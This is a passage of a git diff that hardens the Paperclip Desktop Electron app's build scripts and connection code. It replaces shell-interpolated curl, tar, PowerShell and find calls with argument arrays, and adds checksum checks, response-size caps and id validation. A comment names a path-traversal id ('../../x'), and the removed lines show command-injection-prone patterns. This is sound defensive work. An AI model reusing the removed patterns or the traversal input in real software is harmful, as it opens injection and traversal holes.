console.log(`[prepare-server] Downloading Node ${NODE_VERSION} for ${nodeDownloadPlatform}-${arch}...`); if (platform === "win32") { - execSync(`powershell -Command "Invoke-WebRequest -Uri '${url}' -OutFile '${archivePath}'"`, { stdio: "inherit" }); + execFileSync( + "powershell", + ["-NoProfile", "-Command", "Invoke-WebRequest", "-Uri", url, "-OutFile", archivePath], + { stdio: "inherit" }, + ); } else { - execSync(`curl -fsSL -o "${archivePath}" "${url}"`, { stdio: "inherit" }); + execFileSync("curl", ["-fsSL", "-o", archivePath, url], { stdio: "inherit" }); } + verifyArchiveChecksum(archivePath, archiveFileName); + if (platform === "win32") { - execSync(`powershell -Command "Expand-Archive -Path '${archivePath}' -DestinationPath '${destDir}' -Force"`, { stdio: "inherit" }); + execFileSync( + "powershell", + ["-NoProfile", "-Command", "Expand-Archive", "-Path", archivePath, "-DestinationPath", destDir, "-Force"], + { stdio: "inherit" }, + ); cpSync(path.join(destDir, archiveName, "node.exe"), destBin); rmSync(path.join(destDir, archiveName), { recursive: true, force: true }); } else { - execSync(`tar -xzf "${archivePath}" -C "${destDir}" --strip-components=2 "${archiveName}/bin/node"`, { stdio: "inherit" }); + execFileSync( + "tar", + ["-xzf", archivePath, "-C", destDir, "--strip-components=2", `${archiveName}/bin/node`], + { stdio: "inherit" }, + ); } rmSync(archivePath, { force: true }); + writeFileSync(versionMarker, `${NODE_VERSION}\n`, "utf8"); console.log(`[prepare-server] Node ${NODE_VERSION} ${arch} ready at ${destBin}`); } diff --git a/scripts/publish-macos-release-assets.mjs b/scripts/publish-macos-release-assets.mjs index d7995fc5..145569df 100644 --- a/scripts/publish-macos-release-assets.mjs +++ b/scripts/publish-macos-release-assets.mjs @@ -79,7 +79,11 @@ function collectAssets(inputDir, mode) { function getRelease(tag) { const result = runGh(["release", "view", tag, "--json", "isDraft,url"], { allowFailure: true }); if (result.status !== 0) { - return null; + const stderr = (result.stderr || "").trim(); + if (/not found|release not found/i.test(stderr)) { + return null; + } + throw new Error(stderr || `gh release view ${tag} failed with exit code ${result.status ?? "unknown"}.`); } return JSON.parse(result.stdout); } diff --git a/scripts/release-macos-local.mjs b/scripts/release-macos-local.mjs index 7518218b..79a19c05 100644 --- a/scripts/release-macos-local.mjs +++ b/scripts/release-macos-local.mjs @@ -15,7 +15,7 @@ import { writeFileSync, } from "node:fs"; import { tmpdir } from "node:os"; -import { dirname, join, relative, resolve } from "node:path"; +import { dirname, isAbsolute, join, relative, resolve } from "node:path"; import { fileURLToPath } from "node:url"; const __dirname = fileURLToPath(new URL(".", import.meta.url)); @@ -41,6 +41,17 @@ function hasFlag(name) { return args.includes(name); } +function assertRepoContainedOutput(targetPath, optionName) { + const relativePath = relative(projectRoot, targetPath); + const insideProject = relativePath !== "" && !relativePath.startsWith("..") && !isAbsolute(relativePath); + if (!insideProject && !hasFlag("--allow-external-output")) { + throw new Error( + `${optionName} must resolve inside the project directory. ` + + "Pass --allow-external-output to intentionally write elsewhere.", + ); + } +} + function run(command, commandArgs, options = {}) { const result = spawnSync(command, commandArgs, { cwd: projectRoot, @@ -257,14 +268,19 @@ function generateIcns(sourcePng, targetIcns, stageRoot) { run("iconutil", ["-c", "icns", iconsetDir, "-o", targetIcns]); } +function readInstalledPackageVersion(name) { + const installed = JSON.parse( + readFileSync(join(projectRoot, "node_modules", ...name.split("/"), "package.json"), "utf8"), + ); + if (typeof installed.version !== "string" || !installed.version) { + throw new Error(`Could not read installed version for ${name}.`); + } + return installed.version; +} + function buildStagePackageJson() { const runtimeDependencies = Object.fromEntries( - Object.keys(rootPackageJson.dependencies ?? {}).map((name) => { - const installed = JSON.parse( - readFileSync(join(projectRoot, "node_modules", ...name.split("/"), "package.json"), "utf8"), - ); - return [name, installed.version]; - }), + Object.keys(rootPackageJson.dependencies ?? {}).map((name) => [name, readInstalledPackageVersion(name)]), ); return { @@ -339,7 +355,7 @@ function buildStageConfig(arch) { { x: 410, y: 220, type: "link", path: "/Applications" }, ], }, - electronVersion: rootPackageJson.devDependencies.electron.replace(/^[^\d]*/, ""), + electronVersion: readInstalledPackageVersion("electron"), }; } @@ -534,6 +550,7 @@ function resolveArches() { function main() { const arches = resolveArches(); const outputRoot = resolve(projectRoot, takeOption("--output-root") || "release/local-macos"); + assertRepoContainedOutput(outputRoot, "--output-root"); const keepStage = hasFlag("--keep-stage"); const skipInstall = hasFlag("--skip-install"); const skipBuild = hasFlag("--skip-build"); diff --git a/scripts/repackage-prebuilt-macos.mjs b/scripts/repackage-prebuilt-macos.mjs index 868e89ef..537cde0a 100644 --- a/scripts/repackage-prebuilt-macos.mjs +++ b/scripts/repackage-prebuilt-macos.mjs @@ -8,7 +8,6 @@ import { fileURLToPath } from "node:url"; const __dirname = fileURLToPath(new URL(".", import.meta.url)); const projectRoot = resolve(__dirname, ".."); -const rootPackageJson = JSON.parse(readFileSync(join(projectRoot, "package.json"), "utf8")); const PRODUCT_NAME = "Paperclip Desktop"; const APP_ID = "com.paperclipai.app"; @@ -17,6 +16,16 @@ const OWNER = "aronprins"; const REPO = "paperclip-desktop"; const args = process.argv.slice(2); +function readInstalledPackageVersion(name) { + const installed = JSON.parse( + readFileSync(join(projectRoot, "node_modules", ...name.split("/"), "package.json"), "utf8"), + ); + if (typeof installed.version !== "string" || !installed.version) { + throw new Error(`Could not read installed version for ${name}.`); + } + return installed.version; +} + function takeOption(name) { const index = args.indexOf(name); if (index === -1) return null; @@ -81,7 +90,7 @@ function buildConfig(arch, outputDir) { { x: 410, y: 220, type: "link", path: "/Applications" }, ], }, - electronVersion: rootPackageJson.devDependencies.electron.replace(/^[^\d]*/, ""), + electronVersion: readInstalledPackageVersion("electron"), }; } diff --git a/scripts/stage-after-pack.mjs b/scripts/stage-after-pack.mjs index f436e9bc..c1053b82 100644 --- a/scripts/stage-after-pack.mjs +++ b/scripts/stage-after-pack.mjs @@ -64,8 +64,59 @@ function stripBundleMetadata(appPath) { // Best effort only. } - execFileSync("sh", ["-c", `find "${appPath}" -name "._*" -delete 2>/dev/null; find "${appPath}" -name ".DS_Store" -delete 2>/dev/null; true`]); - execFileSync("sh", ["-c", `find "${appPath}" ! -type l -print0 | xargs -0 -n 200 xattr -c 2>/dev/null; true`]); + removeAppleMetadataFiles(appPath); + clearExtendedAttributes(appPath); +} + +function removeAppleMetadataFiles(dir) { + if (!existsSync(dir)) return; + + for (const entry of readdirSync(dir)) { + const full = join(dir, entry); + let stat; + + try { + stat = lstatSync(full); + } catch { + continue; + } + + if (stat.isSymbolicLink()) continue; + + if (entry.startsWith("._") || entry === ".DS_Store") { + rmSync(full, { recursive: true, force: true }); + continue; + } + + if (stat.isDirectory()) { + removeAppleMetadataFiles(full); + } + } +} + +function clearExtendedAttributes(dir) { + if (!existsSync(dir)) return; + + let stat; + try { + stat = lstatSync(dir); + } catch { + return; + } + + if (stat.isSymbolicLink()) return; + + try { + execFileSync("xattr", ["-c", dir], { stdio: "ignore" }); + } catch { + // Best effort only. + } + + if (!stat.isDirectory()) return; + + for (const entry of readdirSync(dir)) { + clearExtendedAttributes(join(dir, entry)); + } } function dereferenceSymlinks(dir) { diff --git a/scripts/verify-macos-release.mjs b/scripts/verify-macos-release.mjs index 029e9f00..505060d3 100644 --- a/scripts/verify-macos-release.mjs +++ b/scripts/verify-macos-release.mjs @@ -7,6 +7,11 @@ const outputDir = resolve(process.argv[2] || "release/local-macos"); const requireStapled = process.argv.includes("--require-stapled"); const expectedIdentity = process.env.APPLE_CODESIGN_IDENTITY?.trim() || null; const expectedTeamId = process.env.APPLE_TEAM_ID?.trim() || null; +if (!requireStapled && !expectedIdentity && !expectedTeamId) { + throw new Error( + "macOS release verification requires APPLE_CODESIGN_IDENTITY, APPLE_TEAM_ID, or --require-stapled.", + ); +} const MACH_O_MAGICS = new Set([ "feedface", "cefaedfe", @@ -172,7 +177,12 @@ function dependencyPath(nodeModulesDir, dependencyName) { function verifyServerRuntimeDependencies(appPath) { const serverDir = join(appPath, "Contents", "Resources", "app-server", "server"); const packagePath = join(serverDir, "package.json"); - if (!existsSync(packagePath)) return null; + // The embedded server bundle is mandatory: a packaging mistake that omits it must + // fail verification, not silently skip the dylib/UI/migration checks and let a + // gutted-but-signed app pass green. + if (!existsSync(packagePath)) { + throw new Error(`Packaged app is missing the embedded server bundle: ${packagePath}`); + } const uiIndexPath = join(serverDir, "ui-dist", "index.html"); if (!existsSync(uiIndexPath)) { diff --git a/src/connection/preflight.ts b/src/connection/preflight.ts index cb271a15..d3247a96 100644 --- a/src/connection/preflight.ts +++ b/src/connection/preflight.ts @@ -196,22 +196,26 @@ export async function preflightRemoteConnection(options: PreflightOptions): Prom } } +// Health payloads are tiny; cap the buffered body so a hostile remote can't OOM +// the main process by trickling a multi-GB "application/json" response. +const MAX_PREFLIGHT_BODY_BYTES = 256 * 1024; + +interface BoundedJson { + status: number; + json: unknown; + jsonError: boolean; +} + async function fetchJson( fetchImpl: typeof fetch, url: URL, timeoutMs: number, ): Promise<{ status: number; body: unknown }> { - const response = await fetchWithTimeout(fetchImpl, url, timeoutMs); - const contentType = response.headers.get("content-type") ?? ""; - - if (!contentType.toLowerCase().includes("application/json")) { - return { status: response.status, body: null }; - } - - return { - status: response.status, - body: await response.json(), - }; + const result = await fetchBoundedJson(fetchImpl, url, timeoutMs); + // A malformed/oversized JSON body is not a transport failure — surface it as a + // non-Paperclip response (parseHealthPayload(null) → "not_paperclip") rather + // than letting it throw and be misclassified as "unreachable". + return { status: result.status, body: result.jsonError ? null : result.json }; } async function fetchSession( @@ -219,21 +223,20 @@ async function fetchSession( url: URL, timeoutMs: number, ): Promise<{ sessionState: SessionState }> { - const response = await fetchWithTimeout(fetchImpl, url, timeoutMs); - const contentType = response.headers.get("content-type") ?? ""; - if (!contentType.toLowerCase().includes("application/json")) { + const result = await fetchBoundedJson(fetchImpl, url, timeoutMs); + if (result.jsonError) { return { sessionState: "unknown" }; } - const body = await response.json(); + const body = result.json; - if (response.status === 401) { + if (result.status === 401) { return isPaperclipAuthRequiredPayload(body) ? { sessionState: "signed_out" } : { sessionState: "unknown" }; } - if (response.status !== 200) { + if (result.status !== 200) { return { sessionState: "unknown" }; } @@ -244,22 +247,74 @@ async function fetchSession( return { sessionState: "unknown" }; } -async function fetchWithTimeout(fetchImpl: typeof fetch, url: URL, timeoutMs: number): Promise { +// Keeps the abort timer armed until the body is fully consumed (fetch resolves at +// headers-complete, so reading the body must stay under the same deadline) and +// enforces a hard size cap while reading. +async function fetchBoundedJson(fetchImpl: typeof fetch, url: URL, timeoutMs: number): Promise { const controller = new AbortController(); const timeout = setTimeout(() => controller.abort(), timeoutMs); try { - return await fetchImpl(url, { + const response = await fetchImpl(url, { method: "GET", headers: { accept: "application/json" }, redirect: "manual", signal: controller.signal, }); + + const contentType = response.headers.get("content-type") ?? ""; + if (!contentType.toLowerCase().includes("application/json")) { + await response.body?.cancel().catch(() => undefined); + return { status: response.status, json: null, jsonError: false }; + } + + let text: string; + try { + text = await readBodyWithLimit(response, MAX_PREFLIGHT_BODY_BYTES); + } catch { + return { status: response.status, json: null, jsonError: true }; + } + + try { + return { status: response.status, json: JSON.parse(text), jsonError: false }; + } catch { + return { status: response.status, json: null, jsonError: true }; + } } finally { clearTimeout(timeout); } } +async function readBodyWithLimit(response: Response, maxBytes: number): Promise { + const reader = response.body?.getReader(); + if (!reader) { + const text = await response.text(); + if (Buffer.byteLength(text, "utf8") > maxBytes) { + throw new Error("Response body exceeds size limit"); + } + return text; + } + + const chunks: Buffer[] = []; + let total = 0; + for (;;) { + const { done, value } = await reader.read(); + if (done) { + break; + } + if (value) { + total += value.byteLength; + if (total > maxBytes) { + await reader.cancel().catch(() => undefined); + throw new Error(`Response body exceeds ${maxBytes} bytes`); + } + chunks.push(Buffer.from(value)); + } + } + + return Buffer.concat(chunks).toString("utf8"); +} + function parseHealthPayload(body: unknown): ParsedHealthPayload | null { if (!isObject(body)) { return null; diff --git a/src/connection/profiles.ts b/src/connection/profiles.ts index afa47246..313f6e33 100644 --- a/src/connection/profiles.ts +++ b/src/connection/profiles.ts @@ -16,6 +16,8 @@ import type { RemotePreflightResult, } from "./types"; +const UUID_PATTERN = /^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i; + export function getConnectionsFilePath(userDataPath: string): string { return path.join(userDataPath, CONNECTIONS_FILE_NAME); } @@ -191,8 +193,7 @@ export class ConnectionStore { profile.lastConnectedAt = now; profile.updatedAt = now; if (result) { - profile.remoteUrl = result.normalizedUrl; - profile.allowInsecureHttp = result.insecureTransport ? true : undefined; + this.applyRemoteProfileUrl(profile, result.normalizedUrl, false); profile.lastHealth = deriveHealth(result); profile.lastDeploymentMode = result.deploymentMode; profile.lastSessionState = result.sessionState; @@ -204,8 +205,7 @@ export class ConnectionStore { recordRemoteHealth(profileId: string, result: RemotePreflightResult, now = new Date().toISOString()): void { const profile = this.requireRemoteProfile(profileId); profile.updatedAt = now; - profile.remoteUrl = result.normalizedUrl; - profile.allowInsecureHttp = result.insecureTransport ? true : undefined; + this.applyRemoteProfileUrl(profile, result.normalizedUrl, false); profile.lastHealth = deriveHealth(result); profile.lastDeploymentMode = result.deploymentMode; profile.lastSessionState = result.sessionState; @@ -219,8 +219,7 @@ export class ConnectionStore { now = new Date().toISOString(), ): void { const profile = this.requireRemoteProfile(profileId); - profile.remoteUrl = normalizedUrl; - profile.allowInsecureHttp = allowInsecureHttp ? true : undefined; + this.applyRemoteProfileUrl(profile, normalizedUrl, allowInsecureHttp); profile.updatedAt = now; this.persist(); } @@ -246,32 +245,88 @@ export class ConnectionStore { return profile; } + private applyRemoteProfileUrl( + profile: ConnectionProfile, + remoteUrl: string, + allowInsecureHttp: boolean, + ): void { + const normalized = normalizeRemoteUrl(remoteUrl); + if (normalized.insecureTransport && allowInsecureHttp !== true && profile.allowInsecureHttp !== true) { + throw new Error("HTTP remotes require confirming that you want to allow an insecure connection."); + } + + profile.remoteUrl = normalized.normalizedUrl; + profile.allowInsecureHttp = normalized.insecureTransport ? true : undefined; + } + private persist(): void { this.cache = sanitizeConnectionsFile(this.cache); fs.mkdirSync(path.dirname(this.filePath), { recursive: true }); - fs.writeFileSync(this.filePath, JSON.stringify(this.cache, null, 2), "utf8"); + // Atomic write: a crash/power-loss mid-write would otherwise leave a truncated + // file that the discriminating reader then treats as corrupt. Restrictive mode + // because the file carries infrastructure metadata (server URLs/timestamps). + const tmpPath = `${this.filePath}.tmp`; + fs.writeFileSync(tmpPath, JSON.stringify(this.cache, null, 2), { encoding: "utf8", mode: 0o600 }); + fs.renameSync(tmpPath, this.filePath); } } function readConnectionsFile(filePath: string): PersistedConnectionsFile { + let raw: string; + try { + raw = fs.readFileSync(filePath, "utf8"); + } catch (error) { + if ((error as NodeJS.ErrnoException)?.code === "ENOENT") { + return createDefaultConnectionsFile(); + } + // EACCES, transient I/O, etc. — do NOT fall through to defaults, which the next + // persist() would clobber over the still-present (recoverable) file. + throw error; + } + try { - const raw = fs.readFileSync(filePath, "utf8"); - return sanitizeConnectionsFile(JSON.parse(raw)); + const parsed = JSON.parse(raw); + if (isObject(parsed) && typeof parsed.version === "number" && parsed.version > CONNECTIONS_FILE_VERSION) { + backupConnectionsFile(filePath); + return createDefaultConnectionsFile(); + } + + return sanitizeConnectionsFile(parsed); } catch { + // Unparseable JSON: preserve the unreadable file before the next overwrite + // destroys it, then start from defaults. + backupConnectionsFile(filePath); return createDefaultConnectionsFile(); } } +function backupConnectionsFile(filePath: string): void { + try { + fs.copyFileSync(filePath, `${filePath}.bak`); + } catch { + // best-effort backup only + } +} + function sanitizeConnectionsFile(raw: unknown): PersistedConnectionsFile { if (!isObject(raw)) { return createDefaultConnectionsFile(); } const state = sanitizeConnectionState(raw.state); + const seenIds = new Set(); const remoteProfiles = Array.isArray(raw.remoteProfiles) ? raw.remoteProfiles .map((profile) => sanitizeRemoteProfile(profile)) .filter((profile): profile is ConnectionProfile => profile !== null) + // Drop duplicate ids so two profiles can't alias onto one session partition. + .filter((profile) => { + if (seenIds.has(profile.id)) { + return false; + } + seenIds.add(profile.id); + return true; + }) : []; return { @@ -314,8 +369,12 @@ function sanitizeRemoteProfile(raw: unknown): ConnectionProfile | null { const normalized = normalizeRemoteUrl(raw.remoteUrl); const createdAt = typeof raw.createdAt === "string" ? raw.createdAt : new Date().toISOString(); const updatedAt = typeof raw.updatedAt === "string" ? raw.updatedAt : createdAt; + // Only accept canonical UUID ids. A tampered id (e.g. "../../x") otherwise flows + // into the Electron session partition name and into launcher onclick markup; + // regenerate anything that doesn't match. (Covers PD-011 and PD-046.) + const id = UUID_PATTERN.test(raw.id) ? raw.id : randomUUID(); return { - id: raw.id, + id, name: sanitizeProfileName(typeof raw.name === "string" ? raw.name : undefined, normalized.origin), mode: "remote_existing", remoteUrl: normalized.normalizedUrl, diff --git a/src/connection/validate.ts b/src/connection/validate.ts index 10fd5601..2a656352 100644 --- a/src/connection/validate.ts +++ b/src/connection/validate.ts @@ -75,6 +75,7 @@ function isPrivateIpv4(hostname: string): boolean { const [a, b] = parts; return ( + a === 0 || // 0.0.0.0 routes to loopback on macOS/Linux a === 10 || a === 127 || (a === 172 && b >= 16 && b <= 31) || @@ -85,8 +86,23 @@ function isPrivateIpv4(hostname: string): boolean { } function isPrivateIpv6(hostname: string): boolean { - const lower = normalizeHostname(hostname); - return lower === "::1" || lower.startsWith("fc") || lower.startsWith("fd"); + let lower = normalizeHostname(hostname); + // Only an IPv6 literal can be private here. Without this guard, hostnames like + // "fcbarcelona.com" (startsWith "fc") would be misclassified as private. + if (!lower.includes(":")) { + return false; + } + // Unwrap IPv4-mapped IPv6 (::ffff:192.168.0.1) so the embedded v4 is classified. + const mapped = lower.match(/^::ffff:(\d{1,3}(?:\.\d{1,3}){3})$/); + if (mapped) { + return isPrivateIpv4(mapped[1]); + } + return ( + lower === "::1" || + lower.startsWith("fc") || + lower.startsWith("fd") || + lower.startsWith("fe80:") + ); } function normalizeHostname(hostname: string): string { diff --git a/src/launcher-html.ts b/src/launcher-html.ts index 48d956d6..f337bafd 100644 --- a/src/launcher-html.ts +++ b/src/launcher-html.ts @@ -1057,6 +1057,10 @@ let selectedCard = "local"; let editingId = null; let modalReturnView = "saved"; let lastVerification = null; +let verifyToken = 0; +// Re-entry guard: prevents rapid double-click / Enter-repeat from firing duplicate +// connect IPC (duplicate connect attempts / profile saves). +let connecting = false; let lastErrorAction = null; let pendingDeleteId = null; let deleteTriggerEl = null; @@ -1268,12 +1272,18 @@ function renderTabRemoteList() { } async function launchLocal() { - const rememberChoice = document.getElementById("rememberLocal").checked; - await launcher.setChooserMode("local_embedded"); - lastErrorAction = { type: "local", rememberChoice }; - resetLocalBoot(); - showView("local-boot"); - await launcher.connectLocal({ rememberChoice }); + if (connecting) return; + connecting = true; + try { + const rememberChoice = document.getElementById("rememberLocal").checked; + await launcher.setChooserMode("local_embedded"); + lastErrorAction = { type: "local", rememberChoice }; + resetLocalBoot(); + showView("local-boot"); + await launcher.connectLocal({ rememberChoice }); + } finally { + connecting = false; + } } function openAddRemoteFromChooser() { @@ -1285,6 +1295,9 @@ function openAddRemoteFromChooser() { function resetVerificationUi() { lastVerification = null; + // Invalidate any in-flight verify so its result can't re-enable Connect for a URL + // the user has since changed. + verifyToken += 1; document.getElementById("urlError").style.display = "none"; document.getElementById("urlSuccess").style.display = "none"; document.getElementById("testStatus").innerHTML = ""; @@ -1350,8 +1363,15 @@ async function verifyRemote() { document.getElementById("testStatus").innerHTML = '
Verifying remote...
'; syncRemoteActionButtons(true); + const token = ++verifyToken; try { const result = await launcher.verifyRemote({ remoteUrl }); + // If the field was edited (or a new verify started) while this one was in + // flight, discard the stale result so it can't be applied to a different URL. + if (token !== verifyToken) { + return; + } + result.verifiedUrl = remoteUrl; lastVerification = result; if (result.reason === "invalid_url") { @@ -1374,6 +1394,13 @@ async function continueToSignIn() { return; } + // Require the verification to match the URL currently in the field. + if (lastVerification.verifiedUrl !== document.getElementById("remoteUrl").value.trim()) { + document.getElementById("urlError").textContent = "The URL changed since it was verified. Verify again before connecting."; + document.getElementById("urlError").style.display = "block"; + return; + } + const allowInsecureHttp = getRemoteInsecureHttpChoice(); if (lastVerification.insecureTransport && !allowInsecureHttp) { document.getElementById("urlError").textContent = "Confirm the insecure HTTP warning before connecting."; @@ -1393,14 +1420,20 @@ async function continueToSignIn() { allowInsecureHttp, }; - showRemoteConnectingState(lastVerification); - await launcher.connectRemote({ - remoteUrl, - displayName, - saveProfile: false, - rememberChoice, - allowInsecureHttp, - }); + if (connecting) return; + connecting = true; + try { + showRemoteConnectingState(lastVerification); + await launcher.connectRemote({ + remoteUrl, + displayName, + saveProfile: false, + rememberChoice, + allowInsecureHttp, + }); + } finally { + connecting = false; + } } async function connectAndSave() { @@ -1409,6 +1442,12 @@ async function connectAndSave() { return; } + if (lastVerification.verifiedUrl !== document.getElementById("remoteUrl").value.trim()) { + document.getElementById("urlError").textContent = "The URL changed since it was verified. Verify again before connecting."; + document.getElementById("urlError").style.display = "block"; + return; + } + const allowInsecureHttp = getRemoteInsecureHttpChoice(); if (lastVerification.insecureTransport && !allowInsecureHttp) { document.getElementById("urlError").textContent = "Confirm the insecure HTTP warning before saving or connecting."; @@ -1428,14 +1467,20 @@ async function connectAndSave() { allowInsecureHttp, }; - showRemoteConnectingState(lastVerification); - await launcher.connectRemote({ - remoteUrl, - displayName, - saveProfile: true, - rememberChoice, - allowInsecureHttp, - }); + if (connecting) return; + connecting = true; + try { + showRemoteConnectingState(lastVerification); + await launcher.connectRemote({ + remoteUrl, + displayName, + saveProfile: true, + rememberChoice, + allowInsecureHttp, + }); + } finally { + connecting = false; + } } async function retryLastAction() { @@ -1582,6 +1627,7 @@ function openAddModal() { } function openEditModal(profileId) { + if (!snapshot) return; const profile = snapshot.profiles.find((candidate) => candidate.id === profileId); if (!profile || profile.mode !== "remote_existing") { return; @@ -1640,6 +1686,7 @@ async function duplicateConn(profileId) { } function deleteConn(profileId) { + if (!snapshot) return; const profile = snapshot.profiles.find((candidate) => candidate.id === profileId); if (!profile) { return; @@ -1674,35 +1721,41 @@ function cancelDelete() { } async function quickConnect(profileId) { + if (!snapshot || connecting) return; const profile = snapshot.profiles.find((candidate) => candidate.id === profileId); if (!profile) { return; } - if (profile.mode === "local_embedded") { - lastErrorAction = { type: "local", rememberChoice: false }; - resetLocalBoot(); - showView("local-boot"); - await launcher.connectSavedProfile({ profileId, rememberChoice: false }); - return; - } + connecting = true; + try { + if (profile.mode === "local_embedded") { + lastErrorAction = { type: "local", rememberChoice: false }; + resetLocalBoot(); + showView("local-boot"); + await launcher.connectSavedProfile({ profileId, rememberChoice: false }); + return; + } - const rememberChoice = getRemoteRememberChoice(); - document.getElementById("remoteUrl").value = profile.remoteUrl || ""; - document.getElementById("displayName").value = profile.name; - setInsecureHttpUi("remote", isInsecureHttpUrl(profile.remoteUrl), !!profile.allowInsecureHttp); - lastErrorAction = { - type: "remote", - saveProfile: false, - rememberChoice, - remoteUrl: profile.remoteUrl, - displayName: profile.name, - allowInsecureHttp: !!profile.allowInsecureHttp, - }; - document.getElementById("connectingLabel").textContent = "Opening verified remote..."; - document.getElementById("connectingUrl").textContent = profile.remoteUrl || ""; - showView("connecting"); - await launcher.connectSavedProfile({ profileId, rememberChoice }); + const rememberChoice = getRemoteRememberChoice(); + document.getElementById("remoteUrl").value = profile.remoteUrl || ""; + document.getElementById("displayName").value = profile.name; + setInsecureHttpUi("remote", isInsecureHttpUrl(profile.remoteUrl), !!profile.allowInsecureHttp); + lastErrorAction = { + type: "remote", + saveProfile: false, + rememberChoice, + remoteUrl: profile.remoteUrl, + displayName: profile.name, + allowInsecureHttp: !!profile.allowInsecureHttp, + }; + document.getElementById("connectingLabel").textContent = "Opening verified remote..."; + document.getElementById("connectingUrl").textContent = profile.remoteUrl || ""; + showView("connecting"); + await launcher.connectSavedProfile({ profileId, rememberChoice }); + } finally { + connecting = false; + } } function resetLocalBoot() { diff --git a/src/main.ts b/src/main.ts index 760ec43d..25f61225 100644 --- a/src/main.ts +++ b/src/main.ts @@ -10,7 +10,7 @@ import { type MenuItemConstructorOptions, type Session, } from "electron"; -import { execSync, spawn, type ChildProcess } from "node:child_process"; +import { spawn, type ChildProcess } from "node:child_process"; import { createHash, randomUUID } from "node:crypto"; import fs from "node:fs"; import net from "node:net"; @@ -149,7 +149,16 @@ function isPortInUse(port: number): Promise { sock.destroy(); resolve(true); }); - sock.on("error", () => resolve(false)); + // A port that accepts SYN but never completes the handshake would otherwise + // leave this promise pending forever and stall startup. + sock.setTimeout(500, () => { + sock.destroy(); + resolve(false); + }); + sock.on("error", () => { + sock.destroy(); + resolve(false); + }); }); } @@ -255,20 +264,7 @@ function resolveShellPath(): string { } } - let basePath = process.env.PATH ?? ""; - try { - const userShell = process.env.SHELL || "/bin/zsh"; - const shellPath = execSync(`${userShell} -lc 'echo $PATH'`, { - encoding: "utf8", - timeout: 5_000, - stdio: ["ignore", "pipe", "ignore"], - }).trim(); - if (shellPath) { - basePath = shellPath; - } - } catch { - // ignore - } + const basePath = process.env.PATH ?? ""; const existing = new Set(basePath.split(path.delimiter)); const missing = fallbackDirs.filter((dir) => !existing.has(dir)); @@ -300,6 +296,10 @@ function cleanupPidFile(): void { function killOrphanedServer(): void { try { const pidStr = fs.readFileSync(getPidFilePath(), "utf8").trim(); + if (!/^\d+$/.test(pidStr)) { + cleanupPidFile(); + return; + } const pid = Number.parseInt(pidStr, 10); if (!Number.isNaN(pid) && pid > 0) { process.kill(pid, 0); @@ -366,9 +366,17 @@ function startServer(port: number): ChildProcess { return child; } +let killServerPromise: Promise | null = null; + function killServer(): Promise { + // Idempotent: SIGTERM/SIGINT/SIGHUP handlers and before-quit can all call this; + // the first caller creates the shutdown promise and everyone else awaits it. + if (killServerPromise) { + return killServerPromise; + } + stopLocalServerMonitor(); - return new Promise((resolve) => { + killServerPromise = new Promise((resolve) => { if (!serverProcess?.pid) { cleanupPidFile(); resolve(); @@ -378,11 +386,33 @@ function killServer(): Promise { const pid = serverProcess.pid; serverProcess = null; - treeKill(pid, "SIGTERM", () => { + let settled = false; + const finish = () => { + if (settled) { + return; + } + settled = true; + clearTimeout(escalation); cleanupPidFile(); resolve(); + }; + + // Escalate to SIGKILL if the graceful shutdown stalls so quit can't hang + // with the detached server orphaned. + const escalation = setTimeout(() => { + treeKill(pid, "SIGKILL", () => finish()); + }, 5_000); + + treeKill(pid, "SIGTERM", (err) => { + if (err) { + treeKill(pid, "SIGKILL", () => finish()); + return; + } + finish(); }); }); + + return killServerPromise; } function killChildProcess(processToKill: ChildProcess | null): Promise { @@ -900,18 +930,26 @@ async function bootLocal(options: { const bootId = ++bootSequence; stopLocalServerMonitor(); - if (!options.forceRestart && currentConnection?.mode === "local_embedded" && mainWindow && !mainWindow.isDestroyed()) { - connectionStore.recordConnectionResult(LOCAL_PROFILE_ID); - if (options.rememberChoiceExplicit) { - connectionStore.setRememberedProfile( - LOCAL_PROFILE_ID, - options.rememberChoice === true, - ); + if (!options.forceRestart && currentConnection?.mode === "local_embedded") { + const health = await probeLocalServerHealth({ + origin: currentConnection.allowedOrigin, + timeoutMs: LOCAL_SERVER_HEALTH_TIMEOUT_MS, + }); + const reopened = health.ok ? await reopenCurrentConnectionWindow() : false; + if (!reopened) { + console.warn(`Local connection reuse failed; restarting embedded server. ${health.detail ?? ""}`); + } else { + connectionStore.recordConnectionResult(LOCAL_PROFILE_ID); + if (options.rememberChoiceExplicit) { + connectionStore.setRememberedProfile( + LOCAL_PROFILE_ID, + options.rememberChoice === true, + ); + } + sendLauncherState(); + closeLauncherWindow(); + return; } - sendLauncherState(); - closeLauncherWindow(); - mainWindow.focus(); - return; } const previousConnectionMode = currentConnection?.mode ?? null; @@ -1015,19 +1053,28 @@ async function bootLocal(options: { return; } + const startUrl = `http://localhost:${serverPort}`; + const startOrigin = new URL(startUrl).origin; + const health = await probeLocalServerHealth({ + origin: startOrigin, + timeoutMs: LOCAL_SERVER_HEALTH_TIMEOUT_MS, + }); + if (!health.ok) { + throw new Error(`Embedded Paperclip health check failed: ${health.detail ?? "unknown health failure"}`); + } + sendBootStatus("server", "Server is ready", 70); sendBootStatus("ready", "Loading the UI...", 80); - const startUrl = `http://localhost:${serverPort}`; const window = createMainWindow({ mode: "local_embedded", startUrl, - allowedOrigin: new URL(startUrl).origin, + allowedOrigin: startOrigin, partition: localPartition(), preloadPath: path.join(__dirname, "preload.js"), }); - await resetLocalEmbeddedUiSession(new URL(startUrl).origin, window.webContents.session); + await resetLocalEmbeddedUiSession(startOrigin, window.webContents.session); await window.loadURL(startUrl); if (bootId !== bootSequence) { window.destroy(); @@ -1050,7 +1097,7 @@ async function bootLocal(options: { mode: "local_embedded", profileId: LOCAL_PROFILE_ID, startUrl, - allowedOrigin: new URL(startUrl).origin, + allowedOrigin: startOrigin, partition: localPartition(), }; connectionStore.recordConnectionResult(LOCAL_PROFILE_ID); @@ -1063,7 +1110,7 @@ async function bootLocal(options: { sendLauncherState(); sendBootStatus("ready", "Ready!", 100); - startLocalServerMonitor(new URL(startUrl).origin); + startLocalServerMonitor(startOrigin); closeLauncherWindow(); initAutoUpdater(window); } catch (error) { @@ -1525,7 +1572,28 @@ function remoteErrorTitle(result: RemotePreflightResult): string { // App lifecycle // --------------------------------------------------------------------------- +// Prevent a second instance from killing the first instance's live server +// (killOrphanedServer would treeKill the healthy PID) and from fighting over the +// shared PID file / Postgres data dir. +if (!app.requestSingleInstanceLock()) { + app.quit(); +} + +app.on("second-instance", () => { + const target = launcherWindow ?? mainWindow; + if (target && !target.isDestroyed()) { + if (target.isMinimized()) { 